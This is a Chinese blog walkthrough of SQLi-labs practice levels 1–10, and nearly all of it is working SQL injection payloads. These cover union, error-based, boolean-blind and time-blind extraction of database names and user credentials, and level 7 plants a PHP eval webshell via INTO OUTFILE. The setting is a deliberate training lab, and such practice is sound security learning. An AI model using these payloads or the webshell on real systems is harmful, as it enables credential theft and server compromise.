sqlilabs 1-10关

第一关

根据提示,第一关是get单引号
在这里插入图片描述

第一步,看看页面有没有报错
http://192.168.26.132:86/Less-1/?id=1’ and 1=2–+ 页面直接异常
在这里插入图片描述

猜测字段 :http://192.168.26.132:86/Less-1/?id=-1’ order by 3–+
在这里插入图片描述

回显位 :http://192.168.26.132:86/Less-1/?id=-1’ union select 1,2,3–+
在这里插入图片描述

当前用户和数据库 :http://192.168.26.132:86/Less-1/?id=-1’ union select 1,database(),user()–+
在这里插入图片描述

获取当前所有库名
http://192.168.26.132:86/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata–+
在这里插入图片描述

查询当前数据库所有表,当前用户是root权限,有权利访问其他的表
http://192.168.26.132:86/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+
在这里插入图片描述

获取当前数据库的列名
http://192.168.26.132:86/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’–+
在这里插入图片描述

发现了username和password两个列名
http://192.168.26.132:86/Less-1/?id=-1’ union select 1,group_concat(username,password),3 from users–+
在这里插入图片描述

第二关

在这里插入图片描述

有报错,网页有回显
在这里插入图片描述

判断字段数 http://192.168.26.132:86/Less-2/?id=-1 union select 1,2,3–+
在这里插入图片描述

后续的操作基本和第一关一样

第三关

在这里插入图片描述

扭曲字符串就是括号的意思。
我们观察网页源代码发现是用单引号和括号进行闭合的
在这里插入图片描述

我们先试一个单引号。http://192.168.26.132:86/Less-3/?id=’
在这里插入图片描述

看到报错,他有括号和单引号
http://192.168.26.132:86/Less-3/?id=1’)–+
在这里插入图片描述

爆出字段: http://192.168.26.132:86/Less-3/?id=-1’) union select 1,2,3–+
在这里插入图片描述

第四关

在这里插入图片描述
输入一个双引号,发现有双引号和括号闭合
在这里插入图片描述

输入双引号和括号,没有报错
在这里插入图片描述

判断回显位
在这里插入图片描述

第五关

我们先看源代码,发现没有返回任何值。
在这里插入图片描述

这应该是盲注
加上一个单引号报错
在这里插入图片描述

但是我不管输入啥,他只有两种状态,页面正常,和页面不正常
在这里插入图片描述
此时我们应该采用盲注。
获取当前数据库
http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(0x7e,(database())),0) or’ --+
在这里插入图片描述

获取当前版本:http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(0x7e,(version())),0) or’
为啥要获取获取数据库版本呢,因为有一些语法只能在特定的数据库使用,而且还可以去网上搜一下当前数据库有没啥漏洞。
在这里插入图片描述

获取一下当前数据库所有表
http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),0) or ’
在这里插入图片描述

获取当前users表中的所有列
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name = ‘users’ )),0) or ’
在这里插入图片描述

获取字段
http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(0x7e,(select group_concat(username,password) from users )),0) or ’
在这里插入图片描述

获取username password 的值
因为updatexml 对长度做了限制,导致里面字段显示不全,所以用limit
http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0) or ’
在这里插入图片描述

但是这样显示的话太麻烦了,我们可以用burp进行批量。首先查看一下多少个字段
http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(‘~’,(select count((username)) from users ),‘~’),0) or ’
在这里插入图片描述

Burp Suite
在这里插入图片描述

选择狙击枪(sniper)选择变量
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

第六关

第六关和第五关一样,第六关是双引号闭合。
http://192.168.26.132:86/Less-6/?id=1" or updatexml(1,concat(0x7e,(database())),0) or"–+
在这里插入图片描述

第七关

SELECT…INTO OUTFILE ‘file_name’ 可以把你想要写入的数据写入到一个文件中,但是你必须要有file权限,才能使用此语法,并且file_name 不能是一个已经存在的文件

但是,在使用该函数前需要查看当前数据库有没开放读写权限,在mysql交互式界面输入show variables like ‘%secure%’; 如果 secure_file_priv为空(NULL)的话就是没有读写权限我这里就是为NULL 这时候需要打开mysq的安装目录中的my.ini文件 在 [mysqld] 中加上一条 secure_file_priv=“/” 重启mysql服务,在去查询 现在为C:\这就代表可以读取或写入C盘中的所有文件
在这里插入图片描述
在这里插入图片描述
根据页面提示,应该是文件写入函数,
在这里插入图片描述

通过测试我发现闭合是采用 ‘)) 因为后面有一个limit 需要把它注释掉。不注释的话会报出语法错误。
在这里插入图片描述

页面异常,有注入,说明带入数据库查询了
http://192.168.26.132:86/Less-7/?id=1’)) and 1=2–+
在这里插入图片描述

判断字段数,3正常 4不正常,字段数应该就三位
http://192.168.26.132:86/Less-7/?id=1’)) union select 1,2,3,4 --+
在这里插入图片描述

文件写入,但是页面会报错,但是不用管。我这里已经写入了一句话木马
http://192.168.26.132:86/Less-7/?id=-1’)) union select 1,2,
“<?php @eval($_POST['shell']);?>” into outfile’C:\inetpub\target\sqlilabs\7.php’–+
在这里插入图片描述

通过蚁剑去连接

在这里插入图片描述
在这里插入图片描述

第八关

这一关卡是一个布尔盲注,页面有变化,但是没有回显,没有报错,只有两个页面,正常和不正常。
http://127.0.0.1:8888/Less-8/?id=1 这个就是正常
在这里插入图片描述

http://127.0.0.1:8888/Less-8/?id=-1 不正常
在这里插入图片描述

http://127.0.0.1:8888/Less-8/?id=1’ and 1=1 --+ 单引号闭合
在这里插入图片描述

查询当前数据库的长度
http://127.0.0.1:8888/Less-8/?id=1’ and length(database())=8–+
在这里插入图片描述

查询当前数据库的第一个字段名
http://127.0.0.1:8888/Less-8/?id=1’ and ascii(substr(database(),1,1))=115–+
在这里插入图片描述

第二个
http://127.0.0.1:8888/Less-8/?id=1’ and ascii(substr(database(),2,1))=101–+
。。。。。。。。
查询表的数量
http://127.0.0.1:8888/Less-8/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database())=4–+
在这里插入图片描述

查第一个表的长度
http://127.0.0.1:8888/Less-8/?id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6–+
在这里插入图片描述

查询查询第一个表的表名,第一个字符
http://127.0.0.1:8888/Less-8/?id=1’ and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=101–+
在这里插入图片描述

第九关

这一关不管你怎么输入,页面没有变化
判断注入的类型
http://127.0.0.1:8888/Less-9/?id=1’ and sleep(5) --+
无回显,无报错日志 ,但是和数据库有交互 ,可以判断是时间盲注。
在这里插入图片描述

查询数据库的的长度
http://127.0.0.1:8888/Less-9/?id=1’ and if((length(database())=8),sleep(3),1)–+
在这里插入图片描述

查询库的第一个字段
http://127.0.0.1:8888/Less-9/?id=1’ and if((ascii(substr(database(),1,1))=115),sleep(3),1)–+
在这里插入图片描述

查询表的数量
http://127.0.0.1:8888/Less-9/?id=1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1)%23
在这里插入图片描述

查第一个表的表名的长度
http://127.0.0.1:8888/Less-9/?id=1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,sleep(3),1)%23
在这里插入图片描述

查询第一个表的第一个字段
http://127.0.0.1:8888/Less-9/?id=1’ and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=101,sleep(3),1)%23
在这里插入图片描述

第十关

根据提示,就是基于双引号的时间盲注,跟第九关差不多
http://127.0.0.1:8888/Less-10/?id=1" and sleep(5) --+
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值